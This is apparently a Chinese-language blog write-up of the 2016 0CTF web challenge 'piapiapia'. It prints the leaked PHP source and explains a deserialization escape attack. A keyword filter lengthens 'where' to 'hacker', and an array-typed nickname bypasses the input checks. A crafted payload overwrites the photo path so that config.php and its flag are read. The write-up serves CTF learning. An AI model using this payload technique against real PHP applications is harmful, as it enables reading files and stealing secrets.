2016 0CTF—piapiapia

Posted by CoCo1er on 2019-09-14
Words 1.7k and Reading Time 7 Minutes
Viewed Times

2016 0CTF—piapiapia

尝试

  • 典型的登录界面,F12没有发现信息
  • 御剑扫、源码泄露扫无果(由于后台路由的匹配问题,导致很多路径都返回的200)
  • 弱口令爆破admin无果
  • 登录界面猜测是否有register,发现/register.php
  • dirsearch扫出了源码www.zip

代码审计

php代码审计,先拿Seay审计一下看下大概会有什么漏洞

对于1、2两个点,提到的都是一个问题,应该不会有漏洞,后续看了代码也发现在调用sql语句时进行了filter函数的过滤

对于4这个点,上传后文件名被md5也就无法解析成php,也不存在文件上传漏洞。

这下只剩下3这个点,我们可以看到这个敏感函数file_get_contents($profile[‘photo’]),那么能不能通过控制photo来控制文件内容把flag读出来呢?

又发现在config.php中有flag的标识

那么基本可以确定思路就是想方设法来控制photo从而读出config.php的内容

部分源码:

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\'); #\ \\
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

分析如下:

photo来自profile,在profile.php中我们可以发现photo的显示其实是读取了该用户的profile

$profile=$user->show_profile($username);

那么肯定有某处是执行函数存储了该用户的profile

在update.php中我们可以看到这些设置profile的操作

1
2
3
4
5
6
7
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

在profile.php中有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

该逻辑是,对于登录的用户跳转至profile.php,如果profile没有设置,则跳转至update.php进行profile的设置,否则就显示出profile的内容。

那么这里就很好理解了,初次登录,控制profile的photo,再次登录让它回显出config.php的base64内容

漏洞利用

反序列化逃逸

在update.php中有这么一行代码:

1
$user->update_profile($username, serialize($profile));

即存储了profile的序列化,但是这里的update_profile函数

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

这里调用了filter函数

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

fileter函数中进行了对单引号、双反斜杠的过滤,以及将select、insert、update、delete、where字符串替换成hacker。这里就会出现一个问题,只有where是长度为5的字符串,即如果字符串中有where会被替换成字符串长度为6的hacker字符串。

来看一下一个在线测试

对于unserialize()而言,这个函数会忽略能够正常序列化的字符串后面的字符串

上图也可以看出来,s:10:”hacker1234”就已经符合了正常的序列化,因此后续的字符串被忽略

而如果字符串中有where字符,由于是先反序列化后进行的过滤操作,导致会逃逸出一个字符。对于photo而言,我们是否能够想办法在前面的某些参数位置处产生溢出,从而控制后面的photo参数呢?(正常的序列化后的结果中,photo是最后一个参数)

来看update.php中的初始化profile操作

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

对于nickname这个参数,看到熟悉的preg_match和strlen,都可以用数组绕过,于是nickname就完全可控

来看一下测试

可以发现如果对nickname中输入了where,unserialize()会报错,因为长度不匹配构不成完整的正常序列化。

(实际注册账号填入信息试了一下,果真会报错,而不输入黑名单字符则会正常回显profile)

那么我们接下来就构造特殊的payload让其在逃逸后变成正常的序列化同时又满足读出config内容。

payload如下:

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

因为我们需要闭合填充的字符串为";}s:5: "photo";s:10: "config.php

一共多出来31个字符,因此前面需要31个where

也可以填充";}s:5:"photo";s:10:"config.php";}(后面有原本的闭合,也可以自己添加,反正后续多余的会被忽略),此时需要34个where